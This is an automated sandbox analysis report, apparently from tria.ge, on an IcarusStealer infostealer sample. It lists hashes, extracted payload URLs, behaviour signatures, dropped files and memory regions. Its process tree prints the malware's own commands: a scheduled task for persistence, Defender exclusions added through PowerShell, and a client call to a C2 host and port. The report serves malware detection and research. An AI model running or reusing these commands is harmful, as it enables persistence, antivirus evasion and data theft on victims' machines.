Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

custom1.exe

windows7-x64

10

custom1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/03/2024, 05:44

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    custom1.exe

  • Size

    24.9MB

  • MD5

    4e1c29f0c1af62ddea916c6b80548c76

  • SHA1

    38d9f15356b6a65f4e76ee739867d55b01493793

  • SHA256

    13b863f0e32c4e25af5b2e323bddf6ea7f8fde1c3dc53bbc463d5a0e9c666882

  • SHA512

    f863e54437a36b53f91057f74bdbfcaed90c93256333afe978be5f7b73b417a74084d3a92afe4b6ceea96fd909997cf22b30612c43d6d0d27c64c0bba7db9c28

  • SSDEEP

    49152:lfRW10dDWeHzJhNF/CBpOqqUe00zCMe8KfFo:lfw1yaeHLNF/22UwCL8yF

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\custom1.exe
    "C:\Users\Admin\AppData\Local\Temp\custom1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Users\Admin\AppData\Local\Temp\Client.exe
      "C:\Users\Admin\AppData\Local\Temp\Client.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:4432
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp64A5.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4792
        • C:\Windows\SysWOW64\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:5032
        • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
          "C:\Windows\System32\CatRoot\$SXR\$SXR.exe"
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of AdjustPrivilegeToken
          PID:1180
    • C:\Users\Admin\AppData\Local\Temp\switched.exe
      "C:\Users\Admin\AppData\Local\Temp\switched.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
        "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:4408
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Windows\system32\certutil.exe
            certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5
            5⤵
              PID:2664
            • C:\Windows\system32\find.exe
              find /i /v "md5"
              5⤵
                PID:2536
              • C:\Windows\system32\find.exe
                find /i /v "certutil"
                5⤵
                  PID:2284
            • C:\Users\Admin\AppData\Local\Temp\tesetey.exe
              "C:\Users\Admin\AppData\Local\Temp\tesetey.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4012
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jv2quekv\jv2quekv.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3348
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4FB6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF4054A7BE4EAAB2A1A424454987B.TMP"
                  5⤵
                    PID:4812
                • C:\Windows\explorer.exe
                  "C:\Windows\explorer.exe"
                  4⤵
                  • Modifies Installed Components in the registry
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:2232
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:564
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3360
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1948
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3168
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4040
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\cvtresa.exe & exit
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3396
                  • C:\Users\Admin\AppData\Local\Temp\cvtresa.exe
                    C:\Users\Admin\AppData\Local\Temp\cvtresa.exe
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2904
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:436
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
            1⤵
              PID:4496
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:2976
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:2768
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:1236
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:2936
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:4104
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies registry class
              PID:1232

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              968cb9309758126772781b83adb8a28f

              SHA1

              8da30e71accf186b2ba11da1797cf67f8f78b47c

              SHA256

              92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

              SHA512

              4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

              Download Submit

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              16KB

              MD5

              ced19369ea4a0b5feadd46d37f7a4c71

              SHA1

              2e69ac08d2b419103133fdd891fccc19bb8ecc40

              SHA256

              f2c2834fd090c29a20f12a8be15ee62a07d8d56a3d2817106576ff07514f8cac

              SHA512

              ff216106de8faa7662b1d483efd627c9f1615f535b4b38f2caa008e02492656fb41189f198bc428245cd6b17c6d484a3ff84a3e4ca02286ec9a694215cada54f

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres
              Filesize

              2KB

              MD5

              9eb1dc41ae900de50d74bb44f07d3634

              SHA1

              69d6ac65a08d6106cddafc5e7a52f986cde32827

              SHA256

              63e31e76e91533fa13c6494be236c99116d2e7376b93ff76edefcd774fd4d14f

              SHA512

              e8747da0d2f1fe9276939573ed57f31223650d46e9fb7bdaab2ba99cfd035462cbc3669286bd4ca2999dc04a531ae3551ee9e7eda99de30eeb7867b92f625736

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_SETLANG_EXE_15
              Filesize

              36KB

              MD5

              0e2a09c8b94747fa78ec836b5711c0c0

              SHA1

              92495421ad887f27f53784c470884802797025ad

              SHA256

              0c1cdbbf6d974764aad46477863059eaec7b1717a7d26b025f0f8fe24338bb36

              SHA512

              61530a33a6109467962ba51371821ea55bb36cd2abc0e7a15f270abf62340e9166e66a1b10f4de9a306b368820802c4adb9653b9a5acd6f1e825e60128fd2409

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Windows_ControlPanel
              Filesize

              36KB

              MD5

              fb5f8866e1f4c9c1c7f4d377934ff4b2

              SHA1

              d0a329e387fb7bcba205364938417a67dbb4118a

              SHA256

              1649ec9493be27f76ae7304927d383f8a53dd3e41ea1678bacaff33120ea4170

              SHA512

              0fbe2843dfeab7373cde0643b20c073fdc2fcbefc5ae581fd1656c253dfa94e8bba4d348e95cc40d1e872456ecca894b462860aeac8b92cedb11a7cad634798c

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133544367410468573.txt
              Filesize

              74KB

              MD5

              80dffedad36ef4c303579f8c9be9dbd7

              SHA1

              792ca2a83d616ca82d973ece361ed9e95c95a0d8

              SHA256

              590ca4d2f62a7864a62ccb1075c55191f7f9d5c5304ea3446961bb50f9e3916e

              SHA512

              826b97a4de7c765f8f5ebc520960f68381fd9f4bfe68c2fbe46c6118110c9c14a87dcb8ed8102e60a954b4b3c408f72e7a93fd96317be3d51120a2ddd2faa3ea

              Download Submit

            • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\39XIXV5T\microsoft.windows[1].xml
              Filesize

              96B

              MD5

              29e3c94dfa03b794f03e17d8b45295d9

              SHA1

              1a598a72d3d486f77e861f98abcd2f4a8e936365

              SHA256

              7ff0263086f28cc1d842d07a23128b955780d3c8b85b130228c7f65ce2b4262a

              SHA512

              e2180d73f45da32ac4fb355546103496d73cdf7cb966c60f6a414bc7052e46431177e9009bdfd730d2fe6955b986392720fe3bdc8afbc0388f1b70e438a4ef9c

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Client.exe
              Filesize

              5.8MB

              MD5

              1f566011af79c49ad069572fd8e38659

              SHA1

              9ab4bf1ff80f7f05ee06e7a8620afe15fc1e28b2

              SHA256

              324737f16b25440c052da199fca464909b30e4d4f5231605e56be36415e60804

              SHA512

              b99fbe4db54bae31443b242423e2b9fdbd22483896b1966a2d9059cac5493c88d7637cef6f6abf5e743dbad7b35dab4a49003542dd63737ecf6359f6a36758c2

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Client.exe
              Filesize

              7.8MB

              MD5

              a9696c84d1bc8731fda72d5073f0cfe3

              SHA1

              c364c3a16ee68efb9b9a91e6ed51cd0bdf9af45a

              SHA256

              dd576bb7be7807a85506c5687a7a34726abbb16e5324dc614210ec3abb1ff14b

              SHA512

              956709deead60d1517f23de733822c359b646155f7d32e0750414c0e6160096793c1020b9d1fb6b7775208cd0b112ccb03128a5d1c4c4b354bbd7860063c0ddf

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Client.exe
              Filesize

              5.4MB

              MD5

              b2b2b57ca9369e6fb4e56e0f70d27ae7

              SHA1

              b0bbfb9bcff02377c4872e375f92eb90ee70d1bb

              SHA256

              edd756bb50845a45a58572e4a97c848e30e653c77c46e7fc4d19fbe49661c73a

              SHA512

              4a8ce4e58500279f15e2f9bb223ad1a43c80e4ed5a371f5384ede04b2d97cf2fbdc59bd3ba1dd90a1f48395ee24c031cdf12acae8cb9e00ef372cff9fbd06efc

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\RES4FB6.tmp
              Filesize

              1KB

              MD5

              974f32d503b080e946b11b010bb0fbe8

              SHA1

              a383e7b75813c9c48ce5c20f83a964632ac2fdea

              SHA256

              41c3c5b78fb1fc226456922b272d4d19f96179f502ff32d849d3c9e2e2bf3c77

              SHA512

              67082ff70e9e3a3069444df0e31c91f014d048149cd13301a7a4d87faa668fd862474e42bc110a4995b82bfeb477d5ebdf0cf8441d7d40c2c82b48f3cbc597ae

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0kuw1nu.ir4.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\cvtresa.exe
              Filesize

              4KB

              MD5

              d9abea11e4ca44b79f44223c859ed3db

              SHA1

              034ccdf6bd2a2163b794f0d5107401cc3f09b7bd

              SHA256

              016b291c4fea02eadb9998edd42f61f6fbbccdf6e115f810c822bdbaeecc5605

              SHA512

              5f3317fdf82f305e1a5e64064b1306b007b5208bacfaf8a07c04ff76f77c7c317447503e5ec80871c10652bc6925bad1f0a8bb19b4b5e7ad019b250b4dd53155

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
              Filesize

              3.2MB

              MD5

              ceb8c3c0f2249f05f3df8f88d46ae743

              SHA1

              651675ba157c085ce64aa5bb2abbfd6f5efc75c6

              SHA256

              a047b5971bf32a48532d2dc9276f3f1208ebaa6ac2efe650bd827344fe86b778

              SHA512

              872d88e2306b40567ec28bb96875fa91a37425e36ad8264a20ba9a29c4552a090fd6336747e7f65056203ce29fedab600aa51684fa525c5417be484bc6b1766a

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\switched.exe
              Filesize

              3.7MB

              MD5

              b9bbe31d276de5c3d05352d070ae4244

              SHA1

              5e1bb67b01c579b4e0ad5a7475ceb657201c27ec

              SHA256

              a01977e758a85dc01fb8ca7da9110adfe5bf9b9bec0af1db82741fe83d20408d

              SHA512

              0a3459690bfdf8d238cb6f27c650903659c12aa589bcba037a45c68287342f53ca5c1e1b307a0abd8d481f79e3df6bd994cce6a79258343627aa7b3209b0ed17

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\tesetey.exe
              Filesize

              494KB

              MD5

              0f0838bc6642dd6bc603368e50b4aba3

              SHA1

              932bd4d1c11996bf8ac3ac74a94b266e96d44c36

              SHA256

              4acfa7fccfdd11c17fbb2e7a861683f749cbf6420f0d83d484a6024ff280a7a9

              SHA512

              a39605eaa160d4f918393c600d42873f2e6bfb54506edfbe590aac0f75d12b4aa66ff91192c0522c235695a9c6b95cd2dbe308b548b5f121ca6b6b7696029860

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\tmp64A5.tmp.bat
              Filesize

              150B

              MD5

              c8b06d91aba6188373ff66ae5330844b

              SHA1

              5d2b36f4fa69f3e0431a817c1e8361b8a20c007d

              SHA256

              92d2c1e004516e6fddb397163c259c6c96f841cc9b08b619fcfe1b7d94432811

              SHA512

              6866ba015eba01056851d958b36cb560f9a597d48bfd662f6688af7c60acb96c48eaf347c9d5d1ee643c0f4a2a6f57f8057da812040507c4c2d66968235e4945

              Download Submit

            • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
              Filesize

              557KB

              MD5

              c1448f713b4e556845610a35dd347814

              SHA1

              5db8bc7f6738bade35e067452d1aef73ce206e7e

              SHA256

              3f14d78b151c8371363fd7dc5bdd55de9ac1261f31ede178cb07e86949f76086

              SHA512

              e9c27c0e6e45beb45411c35efef933bc7b0ad0367c8e102d78accf72e4b61e33a5dff60edcfe4dc55e5074a75aa97a02553aafc422eda87225de3ae186bda19c

              Download Submit

            • C:\Windows\System32\CatRoot\$SXR\$SXR.exe
              Filesize

              305KB

              MD5

              e8e4214bdbf6c3dfc34cb6721f4ecd69

              SHA1

              bbad2e21a95765d592712aed57ab59d7be128c84

              SHA256

              cb7b482025d45a7f476013867793e1341f9f59da2e5ab0dd6c66b205b8a96d3f

              SHA512

              863e3b5f0e8014b72f191d34d73ad6ef75c6944bb08d330dcece1b3262bd67f426274aff555c67c06c88f3122b4d304ff83be4eb42da6e8f165fecab404b8a93

              Download Submit

            • C:\Windows\System32\CatRoot\$SXR\Read.txt
              Filesize

              58B

              MD5

              79668a6729f0f219835c62c9e43b7927

              SHA1

              0cbbc7cc8dbd27923b18285960640f3dad96d146

              SHA256

              6f5747973e572dc3ec0ae4fd9eaf57263abb01c36b35fcddf96e89208b16496e

              SHA512

              bc3895b46db46617315ffaa2ec5e2b44b06e1d4921834be25e1b60b12f2fba900f0f496070eb9f362952abcfa0b3b359bf1ced7da5ec0db63541e0977e6ea4e3

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\CSCF4054A7BE4EAAB2A1A424454987B.TMP
              Filesize

              1KB

              MD5

              6d4e315ddb659723cf270858a8023839

              SHA1

              0df893c7f7f48483e29d8db81bfabc8456ba24a9

              SHA256

              f6528ea00f868ca00663e6aeff8def75c2db4a0b7012d9836f9267679b0e47f0

              SHA512

              70a5bb19c9384117a21eeb1ce2e44ffc055dbf5ff958e0b912823c353a283606bafb1b7d7a5c942ffe8ecd3890c88b88597d027c19952156fe959962422339a6

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\jv2quekv\jv2quekv.0.cs
              Filesize

              1KB

              MD5

              14846c9faaef9299a1bf17730f20e4e6

              SHA1

              8083da995cfaa0e8e469780e32fcff1747850eb6

              SHA256

              61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

              SHA512

              549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

              Download Submit

            • \??\c:\Users\Admin\AppData\Local\Temp\jv2quekv\jv2quekv.cmdline
              Filesize

              449B

              MD5

              e4cd7ce07b61082f7d8a02617507f576

              SHA1

              faefb27ed2fdcf54595da4d0200ec5ca146f19da

              SHA256

              0171318c5655183fe70717944ef9b98f4b3897ef5f3b4e09ab49e1cec73e73ba

              SHA512

              20de0a1f8db0a1190b6d5205affa76f173fb9a570941f5c9db7cf0804526c0cea5b1440d5f22653d4ce6cd415abd0ef32ff7a1660ad4ad251ac24950d08d9119

              Download Submit

            • memory/564-61-0x00000000056E0000-0x00000000056F0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/564-60-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/564-59-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

              Download

            • memory/564-142-0x00000000056E0000-0x00000000056F0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/564-126-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/1180-186-0x0000000005650000-0x0000000005660000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1180-162-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/1180-295-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/1180-296-0x0000000005650000-0x0000000005660000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1236-238-0x000001EE76AF0000-0x000001EE76B10000-memory.dmp

              Filesize

              128KB

              Download

            • memory/1236-242-0x000001EE770C0000-0x000001EE770E0000-memory.dmp

              Filesize

              128KB

              Download

            • memory/1236-240-0x000001EE76AB0000-0x000001EE76AD0000-memory.dmp

              Filesize

              128KB

              Download

            • memory/1948-115-0x000000006F700000-0x000000006F74C000-memory.dmp

              Filesize

              304KB

              Download

            • memory/1948-73-0x0000000005680000-0x0000000005CA8000-memory.dmp

              Filesize

              6.2MB

              Download

            • memory/1948-70-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/1948-83-0x0000000005DE0000-0x0000000005E02000-memory.dmp

              Filesize

              136KB

              Download

            • memory/1948-89-0x0000000005E80000-0x0000000005EE6000-memory.dmp

              Filesize

              408KB

              Download

            • memory/1948-69-0x0000000002C70000-0x0000000002CA6000-memory.dmp

              Filesize

              216KB

              Download

            • memory/1948-94-0x0000000006170000-0x00000000064C4000-memory.dmp

              Filesize

              3.3MB

              Download

            • memory/1948-104-0x0000000006560000-0x000000000657E000-memory.dmp

              Filesize

              120KB

              Download

            • memory/1948-105-0x00000000065B0000-0x00000000065FC000-memory.dmp

              Filesize

              304KB

              Download

            • memory/1948-71-0x0000000002C60000-0x0000000002C70000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1948-114-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1948-113-0x00000000074F0000-0x0000000007522000-memory.dmp

              Filesize

              200KB

              Download

            • memory/1948-157-0x0000000073530000-0x0000000073CE0000-memory.dmp

              Filesize

              7.7MB

              Download

            • memory/1948-125-0x00000000074B0000-0x00000000074CE000-memory.dmp

              Filesize

              120KB

              Download

            • memory/1948-151-0x0000000007BB0000-0x0000000007BB8000-memory.dmp

              Filesize

              32KB

              Download

            • memory/1948-128-0x0000000007530000-0x00000000075D3000-memory.dmp

              Filesize

              652KB

              Download

            • memory/1948-127-0x0000000002C60000-0x0000000002C70000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1948-150-0x0000000007BC0000-0x0000000007BDA000-memory.dmp

              Filesize

              104KB

              Download

            • memory/1948-131-0x0000000007ED0000-0x000000000854A000-memory.dmp

              Filesize

              6.5MB

              Download

            • memory/1948-141-0x0000000007890000-0x00000000078AA000-memory.dmp

              Filesize

              104KB

              Download

            • memory/1948-149-0x0000000007AD0000-0x0000000007AE4000-memory.dmp

              Filesize

              80KB

              Download

            • memory/1948-148-0x0000000007AC0000-0x0000000007ACE000-memory.dmp

              Filesize

              56KB

              Download

            • memory/1948-147-0x0000000007A90000-0x0000000007AA1000-memory.dmp

              Filesize

              68KB

              Download

            • memory/1948-146-0x0000000007B00000-0x0000000007B96000-memory.dmp

              Filesize

              600KB

              Download

            • memory/1948-145-0x0000000007910000-0x000000000791A000-memory.dmp

              Filesize

              40KB

              Download

            • memory/2232-164-0x0000000002E20000-0x0000000002E21000-memory.dmp

              Filesize

              4KB

              Download

            • memory/2768-221-0x00000216AB520000-0x00000216AB540000-memory.dmp

              Filesize

              128KB

              Download

            • memory/2768-216-0x00000216AB160000-0x00000216AB180000-memory.dmp

              Filesize

              128KB

              Download

            • memory/2768-218-0x00000216AB120000-0x00000216AB140000-memory.dmp

              Filesize

              128KB

              Download

            • memory/2904-252-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/2904-77-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/2904-65-0x0000000000390000-0x0000000000398000-memory.dmp

              Filesize

              32KB

              Download

            • memory/2904-67-0x00007FFB109D0000-0x00007FFB11491000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2904-143-0x00007FFB109D0000-0x00007FFB11491000-memory.dmp

              Filesize

              10.8MB

              Download

            • memory/2936-260-0x0000021D17020000-0x0000021D17040000-memory.dmp

              Filesize

              128KB

              Download

            • memory/2936-262-0x0000021D16DE0000-0x0000021D16E00000-memory.dmp

              Filesize

              128KB

              Download

